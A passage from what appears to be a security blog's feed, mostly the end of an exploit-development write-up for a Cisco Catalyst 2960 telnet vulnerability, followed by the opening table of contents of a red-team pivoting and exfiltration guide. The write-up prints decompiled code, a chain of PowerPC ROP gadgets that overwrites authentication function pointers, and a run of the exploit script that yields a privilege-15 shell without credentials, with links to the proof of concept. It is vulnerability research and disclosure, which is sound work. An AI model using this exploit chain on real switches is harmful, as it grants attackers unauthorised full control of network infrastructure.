  &lt;span class=&quot;n&quot;&gt;ptr_get_privilege_level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;some_libc_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_22659D4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;101483&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;privilege_level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr_get_privilege_level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct_var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;// equals to 1 during rcommand 1
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;telnet_struct_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tty_struct_var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct_field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ptr_telnet_related2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;some_libc_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_22659D4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;101487&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ptr_telnet_related2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telnet_struct_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tty_struct_var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;privilege_level_field&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;privilege_level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF0000000&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tty_struct_var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;privilege_level_field&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFFFFFFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF7FFFFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;//generic telnet session
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Interesting things happen here. First thing to emphasize is that both calls of  &lt;code class=&quot;highlighter-rouge&quot;&gt;ptr_is_cluster_mode&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;ptr_get_privilege_level&lt;/code&gt; are made indirectly by referencing global variables. Check line at address &lt;code class=&quot;highlighter-rouge&quot;&gt;0x00F47B60&lt;/code&gt; - &lt;code class=&quot;highlighter-rouge&quot;&gt;is_cluster_mode&lt;/code&gt; function address is being loaded from dword at &lt;code class=&quot;highlighter-rouge&quot;&gt;0x01F24A7&lt;/code&gt;. In a similar way the address of &lt;code class=&quot;highlighter-rouge&quot;&gt;get_privilege_level&lt;/code&gt; is being loaded from &lt;code class=&quot;highlighter-rouge&quot;&gt;r3&lt;/code&gt; register at &lt;code class=&quot;highlighter-rouge&quot;&gt;0x00F47B8C&lt;/code&gt;. At this point &lt;code class=&quot;highlighter-rouge&quot;&gt;r3&lt;/code&gt; contents is a dereferenced pointer residing at address &lt;code class=&quot;highlighter-rouge&quot;&gt;0x022659D4 + 0x28 + 0xC&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/ida_dis.png&quot; alt=&quot;Indirect calls&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If the &lt;code class=&quot;highlighter-rouge&quot;&gt;ptr_is_cluster_mode&lt;/code&gt; call returns non zero and &lt;code class=&quot;highlighter-rouge&quot;&gt;ptr_get_privilege&lt;/code&gt; call returns a value that differs from -1 we will be presented with a telnet shell without the need to provide any credentials. Variable &lt;code class=&quot;highlighter-rouge&quot;&gt;privilege_level&lt;/code&gt; is being checked for its value further down the code:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/privilege_level_br.png&quot; alt=&quot;privilege level check&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What if I could overwrite these function pointers to something that always return the desired positive value? Since stack and heap weren’t directly executable I had to reuse the existing code to performs such memory writes. The following &lt;a href=&quot;https://en.wikipedia.org/wiki/Return-oriented_programming&quot;&gt;ROP&lt;/a&gt; gadgets were used:&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;mh&quot;&gt;0x000037b4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mtlr&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;addi&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;blr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Load &lt;code class=&quot;highlighter-rouge&quot;&gt;is_cluster_mode&lt;/code&gt; function pointer into &lt;code class=&quot;highlighter-rouge&quot;&gt;r30&lt;/code&gt;, load the value to overwrite this pointer into &lt;code class=&quot;highlighter-rouge&quot;&gt;r31&lt;/code&gt;. The value to overwrite is an address of a function that always returns 1:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/return_1_function.png&quot; alt=&quot;return 1 function&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;mh&quot;&gt;0x00dffbe8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;stw&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x34&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mtlr&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lmw&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;addi&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;blr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Perform the actual write.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;mh&quot;&gt;0x0006788c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mtlr&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;addi&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;blr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;mh&quot;&gt;0x006ba128&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;addi&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mtlr&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;blr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Previous two gadgets load a pointer of &lt;code class=&quot;highlighter-rouge&quot;&gt;get_privilege_level&lt;/code&gt; function into &lt;code class=&quot;highlighter-rouge&quot;&gt;r3&lt;/code&gt;, and the value to overwrite it with into &lt;code class=&quot;highlighter-rouge&quot;&gt;r31&lt;/code&gt;. The target value is a function that returns 15 (could’ve used this function for both writes tho):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/cisco/return_15_function.png&quot; alt=&quot;return 15 function&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;mh&quot;&gt;0x0148e560&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;stw&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mtlr&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lwz&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;addi&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;blr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This epilog makes the final write and returns to the legitimate execution flow. Of course, stack frame should be formed accordingly to make this rop chain work. Check out the exploit &lt;a href=&quot;https://github.com/artkond/cisco-rce/blob/master/c2960-lanbasek9-m-12.2.55.se1.py&quot;&gt;source&lt;/a&gt; to see the actual stack layout for this chain to work as intended.&lt;/p&gt;

&lt;h3 id=&quot;running-the-exploit&quot;&gt;Running the exploit&lt;/h3&gt;

&lt;p&gt;At the end of the day I ended up with a tool with the ability to patch function pointers responsible for credless connection and privilege level. Note that the exploit  code is heavily dependent on the exact firmware version used on the switch. Using exploit code for some different firmware most probably will crash the device.&lt;/p&gt;

&lt;p&gt;I used the knowledge from static and dynamic analysis of an older firmware SE1 to build an exploit for the latest suggested firmware 12.2(55)SE11. All the difference between firmware versions is different functions and pointers offsets. Also, the way the exploit works makes it easy to revert the changes back. Example:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15
catalyst1#show ver
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE (fc3)
...

System image file is &quot;flash:c2960-lanbasek9-mz.122-55.SE11.bin&quot;

...

cisco WS-C2960-48TT-L (PowerPC405) processor (revision B0) with 65536K bytes of memory.
...
Model number                    : WS-C2960-48TT-L
...

Switch Ports Model              SW Version            SW Image                 
------ ----- -----              ----------            ----------               
*    1 50    WS-C2960-48TT-L    12.2(55)SE11          C2960-LANBASEK9-M        


Configuration register is 0xF

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To unset this behaviour:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --unset
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f\r\ncatalyst1#'
[+] Sending cluster option
[+] Unsetting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Escape character is '^]'.


User Access Verification

Password: 

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This RCE POC is available &lt;a href=&quot;https://github.com/artkond/cisco-rce/&quot;&gt;here&lt;/a&gt; for both firmware versions. DoS version of this exploit is &lt;a href=&quot;https://github.com/artkond/cisco-rce/blob/master/ios_telnet_rocem.rb&quot;&gt;available&lt;/a&gt; as a metasploit module, it might work for most models mentioned in the Cisco advisory.&lt;/p&gt;</content>

      
      
      
      
      

      
        <author>
            <name>Artem Kondratenko</name>
          
          
        </author>
      

      

      

      
        <summary type="html">Do you still have telnet enabled on your Catalyst switches? Think twice, here’s a proof-of-concept remote code execution exploit for Catalyst 2960 switch with latest suggested firmware. Check out the exploit code here. What follows is a detailed write-up of the exploit development process for the vulnerability leaked from CIA’s archive on March 7th 2017 and publicly disclosed by Cisco Systems on March 17th 2017. At the time of writing this post there is no patch available. Nonetheless there is a remediation - disable telnet and use SSH instead.</summary>
      

      
      
    </entry>
  
  
  
    <entry>
      
      <title type="html">A Red Teamer’s guide to pivoting</title>
      
      <link href="https://artkond.com/2017/03/23/pivoting-guide/" rel="alternate" type="text/html" title="A Red Teamer's guide to pivoting" />
      <published>2017-03-23T00:00:00+00:00</published>
      <updated>2017-03-23T00:00:00+00:00</updated>
      <id>https://artkond.com/2017/03/23/pivoting-guide</id>
      <content type="html" xml:base="https://artkond.com/2017/03/23/pivoting-guide/">&lt;p&gt;Penetration testers often traverse logical network boundaries in order to gain access to client’s critical infrastracture. Common scenarios include developing the attack into the internal network after successful perimeter breach or gaining access to initialy unroutable network segments after compromising hosts inside the organization. Pivoting is a set of techniques used during red team/pentest engagements which make use of attacker-controlled hosts as logical network hops with the aim of amplifying network visibility. In this post I’ll cover common pivoting techniques and tools available. 
&lt;!-- more --&gt;&lt;/p&gt;

&lt;h1 class=&quot;no_toc&quot; id=&quot;contents&quot;&gt;Contents&lt;/h1&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#target-with-public-ip&quot; id=&quot;markdown-toc-target-with-public-ip&quot;&gt;Target with public IP&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#ssh-port-forwarding&quot; id=&quot;markdown-toc-ssh-port-forwarding&quot;&gt;SSH port forwarding&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#vpn-over-ssh&quot; id=&quot;markdown-toc-vpn-over-ssh&quot;&gt;VPN over SSH&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#3proxy&quot; id=&quot;markdown-toc-3proxy&quot;&gt;3proxy&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nat-scenario&quot; id=&quot;markdown-toc-nat-scenario&quot;&gt;NAT scenario&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#ssh-reverse-port-forwarding-w-3proxy&quot; id=&quot;markdown-toc-ssh-reverse-port-forwarding-w-3proxy&quot;&gt;SSH reverse port forwarding /w 3proxy&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#rpivot&quot; id=&quot;markdown-toc-rpivot&quot;&gt;Rpivot&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exfiltrating-from-the-internal-network&quot; id=&quot;markdown-toc-exfiltrating-from-the-internal-network&quot;&gt;Exfiltrating from the internal network&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#icmp-tunneling&quot; id=&quot;markdown-toc-icmp-tunneling&quot;&gt;ICMP tunneling&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#dns-tunneling&quot; id=&quot;markdown-toc-dns-tunneling&quot;&gt;DNS tunneling&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#iodine&quot; id=&quot;markdown-toc-iodine&quot;&gt;Iodine&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#dnscat2&quot; id=&quot;markdown-toc-dnscat2&quot;&gt;Dnscat2&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#corporate-http-proxy-as-a-way-out&quot; id=&quot;markdown-toc-corporate-http-proxy-as-a-way-out&quot;&gt;Corporate HTTP proxy as a way out&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#rpivot-1&quot; id=&quot;markdown-toc-rpivot-1&quot;&gt;Rpivot&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#cntlm&quot; id=&quot;markdown-toc-cntlm&quot;&gt;Cntlm&lt;/a&gt;&lt;/li&gt;
